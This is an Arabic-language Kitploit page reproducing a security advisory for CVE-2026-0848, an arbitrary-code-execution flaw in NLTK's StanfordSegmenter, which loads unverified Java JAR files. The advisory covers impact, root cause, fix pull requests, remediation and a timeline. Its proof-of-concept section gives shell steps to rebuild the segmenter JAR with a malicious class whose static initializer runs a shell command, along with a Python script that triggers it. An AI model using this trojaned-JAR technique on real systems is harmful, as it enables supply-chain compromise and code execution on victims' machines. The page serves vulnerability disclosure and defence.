Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-0848 — nltk.tokenize.StanfordSegmenter يحمّل ملفات Java .jar الخارجية ديناميكيًا دون تحقق أو عزل (sandboxing). إذا تمكن مهاجم من توفير ملف JAR أو استبداله (على سبيل المثال، عبر تنزيل نموذج مسموم، أو استبدال حزمة عبر هجوم MITM، أو تسميم التبعيات)، فسيتم تنفيذ Java bytecode عشوائي في وقت الاستيراد. | Kitploit
أدوات/GitHubGitHub/hyperps/cve-2026-0848
تحليل الثغرات الأمنيةتحليل الكودالاستغلالأمن سلسلة التوريدالأوراق والأبحاثالتعلم والتعليم
GitHubhyperps/cve-2026-0848

CVE-2026-0848

عرض المستودع
منذ 4 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →

حول

nltk.tokenize.StanfordSegmenter يحمّل ملفات Java .jar الخارجية ديناميكيًا دون تحقق أو عزل (sandboxing). إذا تمكن مهاجم من توفير ملف JAR أو استبداله (على سبيل المثال، عبر تنزيل نموذج مسموم، أو استبدال حزمة عبر هجوم MITM، أو تسميم التبعيات)، فسيتم تنفيذ Java bytecode عشوائي في وقت الاستيراد.

مشاركة

CVE-2026-0848 — NLTK StanfordSegmenter: تنفيذ تعسفي للكود عبر تحميل ملف JAR غير موثوق


نظرة عامة

الحقلالتفاصيل
معرّف CVECVE-2026-0848
الحزمةnltk (مجموعة أدوات اللغة الطبيعية)
السجلPyPI
الإصدارات المتأثرة<= 3.9.2
نوع الثغرةCWE-20: التحقق غير السليم من المدخلات
درجة CVSS10.0 (حرجة)
متجه الهجومشبكة
تعقيد الهجوممنخفض
الصلاحيات المطلوبةلا شيء
تفاعل المستخدملا شيء
النطاقمتغيّر
تأثير السريةعالي
تأثير التكاملعالي
تأثير التوافرعالي
تاريخ الإبلاغ6 ديسمبر 2025
نشر CVEمارس 2026
بدعم منPalo Alto Networks / Prisma AIRS

الوصف

nltk.tokenize.StanfordSegmenter يحمّل ملفات Java .jar الخارجية ديناميكيًا عبر subprocess دون إجراء أي تحقق من التكامل أو فحص توقيعات أو عزل (sandboxing). تقبل الفئة معاملات يتحكم بها المهاجم بالكامل بما في ذلك path_to_jar وpath_to_model وpath_to_dict وjava_class، وتمررها مباشرة إلى استدعاء java -cp.

إذا تمكن المهاجم من توفير ملف JAR أو استبداله — عبر تنزيل نموذج مسموم، أو استبدال حزمة عبر هجوم الوسيط، أو تسميم التبعيات، أو مرآة إصدارات مخترقة — فسيتم تنفيذ bytecode Java تعسفي وقت تحميل الفئة عبر آلية المُهيّئ الثابت (static initializer) في JVM. يشكّل هذا ثغرة تنفيذ كود عن بُعد عبر سلسلة التوريد (Supply-Chain RCE) وتهربًا كاملًا من بيئة تشغيل Python.


المكونات المتأثرة


متجه CVSS

root@kitploit:~
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

التأثير

الاستغلال الناجح يمنح المهاجم تحكمًا كاملًا في النظام الذي يشغّل عملية تقسيم النصوص في NLTK:

  • تنفيذ كود Java تعسفي — أي bytecode مضمّن في ملف JAR الخبيث يعمل بصلاحيات عملية Python/Java
  • الهروب من بيئة تشغيل Python — ينتقل التنفيذ إلى JVM، متجاوزًا عزل مستوى Python بالكامل
  • تنفيذ أوامر على مستوى نظام التشغيل — يمكن للمهاجمين استدعاء Runtime.getRuntime().exec() أو ProcessBuilder لتشغيل أوامر شل عشوائية
  • سرقة البيانات وتعديلها — الوصول إلى جميع الملفات ومتغيرات البيئة ومفاتيح API والأسرار التي يمكن للعملية قراءتها
  • اختراق البيئة بالكامل — في بيئات CI/CD أو خطوط أنابيب NLP الإنتاجية أو بيئات الخوادم، يؤدي ملف JAR خبيث واحد إلى السيطرة الكاملة على المضيف

سيناريوهات النشر عالية الخطورة

السيناريوالتأثير
باحث في تعلّم الآلة يحمّل مقسّمًا مدربًا مسبقًا من الإنترنت

تؤثر هذه الثغرة على أي سير عمل NLP يستخدم StanfordSegmenter، بما في ذلك روبوتات المحادثة وخطوط أنابيب المعالجة المسبقة لنماذج اللغات الكبيرة (LLM) وتقسيم مجموعات البيانات وتصنيف المستندات وخدمات الاستدلال الإنتاجية.


إثبات المفهوم

تُقدَّم هذه المعلومات لأغراض تعليمية ودفاعية فقط. لا تختبر أي أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.

الخطوة 1 — استبدال المصنّف الأساسي بفئة Java خبيثة

root@kitploit:~
cd stanford-segmenter-2020-11-17/merged
jar xf ../stanford-segmenter-4.2.0.jar
rm -rf edu/stanford/nlp/ie/crf/CRFClassifier.class

cat << 'EOF' > edu/stanford/nlp/ie/crf/CRFClassifier.java
package edu.stanford.nlp.ie.crf;

public class CRFClassifier {
    static {
        try {
            System.out.println("\nPayload executed — Code ran on class load!\n");
            Runtime.getRuntime().exec("touch /tmp/pwned_hijack");
        } catch(Exception e){}
    }
    public static void main(String[] args){}
}
EOF

javac edu/stanford/nlp/ie/crf/CRFClassifier.java
jar cfm exploit.jar META-INF/MANIFEST.MF *
cp exploit.jar ../stanford-segmenter.jar

الخطوة 2 — بناء ملف JAR الخبيث

root@kitploit:~
mkdir merged && cd merged
javac Payload.java
jar xf ../stanford-segmenter-4.2.0.jar
jar xf ../stanford-corenlp-4.2.0/stanford-corenlp-4.2.0.jar
jar cfm exploit.jar META-INF/MANIFEST.MF *
jar uf exploit.jar Payload.class
cp exploit.jar ../stanford-segmenter.jar
cd ..

الخطوة 3 — التشغيل عبر NLTK

root@kitploit:~
# test.py
from nltk.tokenize.stanford_segmenter import StanfordSegmenter

print("[+] Triggering payload via modified Stanford JAR...")

seg = StanfordSegmenter(
    path_to_jar="stanford-segmenter.jar",
    path_to_sihan_corpora_dict="./data/",
    path_to_dict="./data/dict-chris6.ser.gz",
    path_to_model="./data/pku.gz",
    java_class="edu.stanford.nlp.ie.crf.CRFClassifier",
    encoding="utf-8"
)

print("[+] Running segmentation...")
print(seg.segment("我爱自然语言处理"))

المخرجات:

root@kitploit:~
[+] Triggering payload via modified Stanford JAR...

Payload executed — Code ran on class load!

[+] Running segmentation...
我 爱 自然语言 处理

تأكيد RCE:

root@kitploit:~
ls /tmp | grep pwned_hijack
# pwned_hijack

السبب الجذري

توجد الثغرة في ملفين:

stanford_segmenter.py — مُنشئ فئة StanfordSegmenter يقبل path_to_jar وpath_to_model وpath_to_dict وjava_class كوسائط نصية عادية ويُمررها مباشرة إلى طبقة تنفيذ Java دون تنفيذ أي مما يلي:

  • قائمة سماح للمسارات أو فرض أدلة موثوقة
  • تحقق من SHA-256 أو التوقيعات التشفيرية لملف JAR
  • التحقق من معامل java_class مقابل مجموعة آمنة معروفة من أسماء الفئات

internals.py — الدالة المساعدة java() تُنشئ وتُطلق استدعاء subprocess.Popen() بالـ classpath الذي يوفره المستخدم. يقوم JVM فورًا بتحميل جميع الفئات في ملف JAR المقدم، منفذًا أي كتل مُهيّئات ثابتة قبل تشغيل منطق التطبيق. لا يوجد عزل ولا بوابة تكامل ولا أي آلية لمنع تنفيذ bytecode المحقون.


الإصلاح

تم حل الثغرة بالكامل في مستودع NLTK الرسمي (upstream).

الموردالرابط
الإصلاح الأمني المركزي (جميع ثغرات CVE)https://github.com/nltk/nltk/pull/3522
طلب السحب (PR) الأولي للإصلاح من الباحثhttps://github.com/nltk/nltk/pull/3477 (مدمج)

قم بالترقية إلى إصدار مُصحح من NLTK بمجرد توفره على PyPI.


المعالجة

الترقية عبر pip:

root@kitploit:~
pip install --upgrade nltk

التحقق من الإصدار المثبّت:

root@kitploit:~
python -c "import nltk; print(nltk.__version__)"

الجدول الزمني


المراجع


إخلاء مسؤولية

يوثق هذا المستودع CVE-2026-0848 حصريًا لأغراض تعليمية وبحثية وأمنية دفاعية. يُقدَّم كود إثبات المفهوم والتفاصيل التقنية لمساعدة المطورين ومهندسي الأمن ومسؤولي الأنظمة في فهم هذه الثغرة وتقييمها ومعالجتها.

أي استخدام لهذه المعلومات للوصول إلى الأنظمة أو اختراقها دون إذن صريح هو أمر غير قانوني وغير أخلاقي. لا يتحمل المؤلف أي مسؤولية عن إساءة استخدام المعلومات الواردة هنا.

المساهمون: ketanHub

تنزيل الأداة
الملفالأسطرالوصف
nltk/tokenize/stanford_segmenter.pyL53–L118يقبل path_to_jar وpath_to_model وpath_to_dict وjava_class التي يتحكم بها المهاجم دون أي تحقق
nltk/internals.pyL220–L300يشغّل Java مباشرةً بمسار JAR وclasspath يتحكم بهما المستخدم، دون عزل أو تحقق من المجاميع الاختبارية (checksums)
nltk/internals.pyL109–L152ينفّذ subprocess.Popen() كود Java بإدخال classpath غير مُتحقق منه، مما يسمح لـ JVM بتحميل bytecode تعسفي وتشغيل المُهيّئات الثابتة
المقياسالقيمة
متجه الهجومشبكة
تعقيد الهجوممنخفض
الصلاحيات المطلوبةلا شيء
تفاعل المستخدملا شيء
النطاقمتغيّر
السريةعالي
التكاملعالي
التوافرعالي
مهاجم عن بُعد يحصل على تنفيذ كود
مؤسسة تنزّل حزمة ZIP لنموذج تقسيم صيني مفسودةبرمجية خبيثة تعمل داخل خط أنابيب NLP الإنتاجي
خادم CI/CD يثبّت النموذج عبر wget/unzip من مرآة غير HTTPSاختراق البيئة بالكامل
الاستيلاء على تبعية أو مرآة إصدارات مسمومةRCE كامل عبر سلسلة التوريد
الإجراءالتفاصيل
ترقية NLTKالتحديث إلى إصدار أحدث من 3.9.2 يتضمن الإصلاح من PR #3522
عدم استخدام مسارات JAR يتحكم بها المستخدملا تسمح أبدًا لمدخلات المستخدم بالتأثير على وسائط path_to_jar أو path_to_model أو java_class
التحقق من تكامل JARتحقق دائمًا من مجاميع SHA-256 لملفات JAR التي تم تنزيلها مقابل التجزئات الرسمية المنشورة قبل الاستخدام
استخدام مصادر HTTPS فقطنزّل ملفات النماذج وملفات JAR حصريًا من مصادر HTTPS رسمية؛ وارفض أي HTTP أو مرايا غير موثوقة
أقل صلاحيةشغّل الخدمات القائمة على NLTK تحت مستخدم نظام مقيد بصلاحيات نظام ملفات وشبكة ضئيلة
الحاوياتاعزل خدمات NLP في حاويات Docker أو صناديق عزل مماثلة للحد من نطاق انفجار استغلالات JAR
مراقبة التبعياتاستخدم أداة تحليل تركيب البرمجيات (SCA) لاكتشاف تبعيات JAR العابثة أو المستبدلة في خطوط CI/CD
التاريخالحدث
6 ديسمبر 2025الإبلاغ عن الثغرة إلى huntr.dev من قبل الباحث hyperps1 (Sarvesh Patil)
ديسمبر 2025إخطار فريق صيانة NLTK عبر huntr.dev
يناير 2026تحقق فريق صيانة NLTK من الثغرة؛ ومنح مكافأة الإفصاح
يناير 2026تعيين CVE-2026-0848
يناير 2026تقديم ودمج طلب الإصلاح PR #3477 من الباحث
فبراير 2026إرسال تحذير ما قبل النشر بفترة 48 ساعة إلى فريق صيانة NLTK
مارس 2026نشر CVE على NVD وhuntr.dev
مارس 2026دمج الإصلاح الأمني المركزي لجميع ثغرات CVE عبر PR #3522
الموردالرابط
إدخال NVDhttps://nvd.nist.gov/vuln/detail/CVE-2026-0848
سجل CVE الرسميhttps://cve.org/CVERecord?id=CVE-2026-0848
تقرير huntr.devhttps://huntr.dev
طلب الإصلاح المركزيhttps://github.com/nltk/nltk/pull/3522
طلب إصلاح الباحثhttps://github.com/nltk/nltk/pull/3477
NLTK على PyPIhttps://pypi.org/project/nltk/
مقسّم الكلمات من ستانفوردhttps://nlp.stanford.edu/software/segmenter.html
OWASP — تنفيذ الكود التعسفيhttps://owasp.org/www-community/attacks/Code_Injection
OWASP — مسار البحث غير الموثوقhttps://owasp.org/www-community/vulnerabilities/Unsafe_use_of_Reflection
CWE-20: التحقق غير السليم من المدخلاتhttps://cwe.mitre.org/data/definitions/20.html
CWE-502: إزالة تسلسل البيانات غير الموثوقةhttps://cwe.mitre.org/data/definitions/502.html